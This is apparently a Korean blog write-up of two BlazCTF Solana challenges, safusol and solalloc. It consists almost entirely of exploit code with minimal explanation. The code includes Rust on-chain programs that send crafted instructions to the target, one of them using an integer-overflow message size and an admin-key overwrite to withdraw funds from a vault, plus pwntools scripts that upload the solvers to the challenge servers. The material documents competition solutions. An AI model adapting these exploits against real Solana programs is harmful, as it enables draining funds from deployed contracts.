.
I participated in BlazCTF with KimchiPremium.
There were two solana challenges like pwnable.
safusol
#![cfg(not(feature = "no-entrypoint"))]
use std::ops::Deref;
use solana_program::declare_id;
use solana_program::account_info::next_account_info;
use solana_program::program::invoke;
use solana_program::{
account_info::AccountInfo,
entrypoint,
entrypoint::ProgramResult,
instruction::{AccountMeta, Instruction},
pubkey::Pubkey,
msg,
};
use std::rc::Rc;
declare_id!("FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand");
const INIT: u32 = 0xe1c7392a;
const REGISTER: u32 = 0x1aa3a008;
const DEPOSIT: u32 = 0xb6b55f25;
const WITHDRAW: u32 = 0x2e1a7d4d;
const TOGGLE: u32 = 0x40a3d246;
use std::mem;
use std::slice;
// Rust에서 C 구조체와 동일한 구조체 정의
#[repr(C, packed)]
struct Calldata {
selector: u32,
bump: u8,
}
// C 구조체를 Vec<u8>으로 변환하는 함수
fn struct_to_vec(input: &Calldata) -> Vec<u8> {
let base_size = mem::size_of::<Calldata>();
let total_size = base_size;
let mut buffer: Vec<u8> = Vec::with_capacity(total_size);
let input_slice = unsafe {
slice::from_raw_parts(
input as *const Calldata as *const u8,
base_size
)
};
buffer.extend_from_slice(input_slice);
buffer
}
entrypoint!(process_instruction);
fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let program = next_account_info(account_iter)?;
let system_program = next_account_info(account_iter)?;
let config_account = next_account_info(account_iter)?;
let vault_account = next_account_info(account_iter)?;
let balance_account = next_account_info(account_iter)?;
let (config_addr, config_bump) = Pubkey::find_program_address(&["CONFIG".as_bytes()], &program.key);
let (vault_addr, vault_bump) = Pubkey::find_program_address(&["VAULT".as_bytes()], &program.key);
let (balance_addr, balance_bump) = Pubkey::find_program_address(&["BALANCE".as_bytes(), &user.key.to_bytes()], &program.key);
{
let input = Calldata {
selector: REGISTER,
bump: balance_bump,
};
let cont = struct_to_vec(&input);
let register = Instruction::new_with_bytes(
program.key.clone(),
&cont,
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(vault_account.key.clone(), false),
AccountMeta::new(balance_account.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
AccountMeta::new(config_account.key.clone(), false),
],
);
invoke(®ister,
&[
user.clone(),
vault_account.clone(),
balance_account.clone(),
program.clone(),
system_program.clone(),
config_account.clone(),
]);
}
{
let input = Calldata {
selector: WITHDRAW,
bump: 0,
};
let mut cont = struct_to_vec(&input);
let back = vec![148, 53, 119, 0, 0, 0, 0];
cont.extend(back);
let withdraw = Instruction::new_with_bytes(
program.key.clone(),
&cont,
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(vault_account.key.clone(), false),
AccountMeta::new(balance_account.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
AccountMeta::new(balance_account.key.clone(), false),
],
);
invoke(&withdraw,
&[
user.clone(),
vault_account.clone(),
balance_account.clone(),
program.clone(),
system_program.clone(),
config_account.clone(),
]);
}
Ok(())
}
# sample solve script to interface with the server
import pwn
from pwn import *
context.log_level = 'debug'
# if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
("user", "sw"), # signer + writable
("program", "-r"), # read only
("system program", "-r"), # read only
("config_account", "w"),
("vault_account", "w"),
("balance_account","w"),
]
# local
# HOST = "127.0.0.1"
# PORT = 31337
# p = pwn.remote(HOST, PORT)
# remote
HOST = "safusol.chal.ctf.so"
PORT = 1337
p = remote(HOST, PORT)
print(p.recvuntil("Solution? "))
p.sendline(input())
pause()
with open("./my_solve/target/deploy/my_solve.so", "rb") as f:
solve = f.read()
sleep(1)
p.sendlineafter(b"program pubkey: \n", b"FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand", timeout=100)
sleep(1)
p.sendlineafter(b": \n", str(len(solve)).encode(), timeout=100)
p.send(solve)
accounts = {
"system program": "11111111111111111111111111111111",
}
from solders.pubkey import Pubkey
import base58
for l in p.recvuntil(b"num accounts: \n", drop=True).strip().split(b"\n"):
[name, pubkey] = l.decode().split(": ")
accounts[name] = pubkey
CONFIG_SEED = b"CONFIG"
VAULT_SEED = b"VAULT"
BALANCE_SEED = b"BALANCE"
new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
seeds=[CONFIG_SEED],
program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts["config_account"] = data_account
new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
seeds=[VAULT_SEED],
program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts["vault_account"] = data_account
new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
seeds=[BALANCE_SEED, base58.b58decode(accounts['user'])],
program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts["balance_account"] = data_account
instruction_data = b""
p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
p.sendline(f"{perms} {accounts[name]}".encode())
p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode())
p.send(instruction_data)
p.interactive()
solalloc
#![cfg(not(feature = "no-entrypoint"))]
use std::ops::Deref;
use solana_program::declare_id;
use solana_program::account_info::next_account_info;
use solana_program::program::invoke;
use solana_program::{
account_info::AccountInfo,
entrypoint,
entrypoint::ProgramResult,
instruction::{AccountMeta, Instruction},
pubkey::Pubkey,
msg,
};
use std::rc::Rc;
declare_id!("FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand");
use std::mem;
use std::slice;
// Rust에서 C 구조체와 동일한 구조체 정의
#[repr(C, packed)]
struct UserInput {
bump: u8,
input_type: u8,
amount: u64,
msg_size: u64,
msg: [u8; 0], // C의 flexible array member를 흉내내기 위해 0 길이 배열 사용
}
// C 구조체를 Vec<u8>으로 변환하는 함수
fn struct_to_vec(input: &UserInput, message: &[u8]) -> Vec<u8> {
// UserInput 구조체 크기 계산 (msg 제외)
let base_size = mem::size_of::<UserInput>();
// 전체 크기는 기본 구조체 크기 + 메시지 길이
let total_size = base_size + message.len();
// 빈 Vec<u8> 생성
let mut buffer: Vec<u8> = Vec::with_capacity(total_size);
// 구조체 포인터를 바이트 슬라이스로 변환하여 Vec에 추가
let input_slice = unsafe {
slice::from_raw_parts(
input as *const UserInput as *const u8,
base_size
)
};
buffer.extend_from_slice(input_slice);
// 메시지를 Vec에 추가
buffer.extend_from_slice(message);
buffer
}
entrypoint!(process_instruction);
fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let program = next_account_info(account_iter)?;
let system_program = next_account_info(account_iter)?;
let admin = next_account_info(account_iter)?;
let data_account = next_account_info(account_iter)?;
{
let mut start: Vec<u8> = vec![2];
let (data_addr, data_bump) = Pubkey::find_program_address(&["BLAZ".as_bytes()], &program.key);
let input = UserInput {
bump: data_bump,
input_type: 1, // deposit
amount: 0,
msg_size: 18446744069414584320 + 0xfe0 - 8 - 32, // (1u64 << 64) - 0x300000000 + 0x200000000,
msg: [], // 메시지는 따로 처리할 것이므로 비워둠
};
let message: &[u8] = &[0];
let mut cont1 = struct_to_vec(&input, message);
let input = UserInput {
bump: data_bump,
input_type: 2, // withdraw
amount: 2000000000,
msg_size: 32, // (1u64 << 64) - 0x300000000 + 0x200000000,
msg: [], // 메시지는 따로 처리할 것이므로 비워둠
};
let message: &[u8] = &[admin.key.to_bytes()[0]];
// 구조체와 메시지를 Vec<u8>으로 변환
let mut cont2 = struct_to_vec(&input, message);
let inp = [start, cont1, cont2, admin.key.to_bytes()[1..].to_vec(), vec![0]].concat();
// let inp = [start, cont1].concat();
let register = Instruction::new_with_bytes(
program.key.clone(),
&inp,
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(data_account.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
],
);
invoke(®ister,
&[
user.clone(),
program.clone(),
system_program.clone(),
admin.clone(),
data_account.clone(),
]);
}
Ok(())
}
# sample solve script to interface with the server
import pwn
# if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
("user", "sw"), # signer + writable
("program", "-r"), # read only
("system program", "-r"), # read only
("admin", "w"),
("data_account", "w"),
]
# HOST = "localhost"
HOST = "solalloc.chal.ctf.so"
PORT = 1337
p = pwn.remote(HOST, PORT)
with open("my_solve/target/deploy/my_solve.so", "rb") as f:
solve = f.read()
p.sendlineafter(b"program pubkey: \n", b"FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand")
p.sendlineafter(b"program len: \n", str(len(solve)).encode())
p.send(solve)
accounts = {
"system program": "11111111111111111111111111111111",
}
for l in p.recvuntil(b"num accounts: \n", drop=True).strip().split(b"\n"):
[name, pubkey] = l.decode().split(": ")
accounts[name] = pubkey
from solders.pubkey import Pubkey
import base58
LIVE_BONUS_SEED = b"BLAZ"
new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
seeds=[LIVE_BONUS_SEED],
program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts["data_account"] = data_account
instruction_data = b""
p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
p.sendline(f"{perms} {accounts[name]}".encode())
p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode())
p.send(instruction_data)
print(accounts)
print(account_metas)
p.interactive()
'writeups' 카테고리의 다른 글
2024 codegate - sms (0) | 2024.09.04 |
---|---|
SekaiCTF 2024 - solana (0) | 2024.08.26 |
CrewCTF 2024 - blockchain(lightbook) (0) | 2024.08.05 |
HITCON CTF 2024 Quals(Lustrous, No-Exit Room, Flag Reader) (0) | 2024.07.15 |
justctf2024 teaser (0) | 2024.06.17 |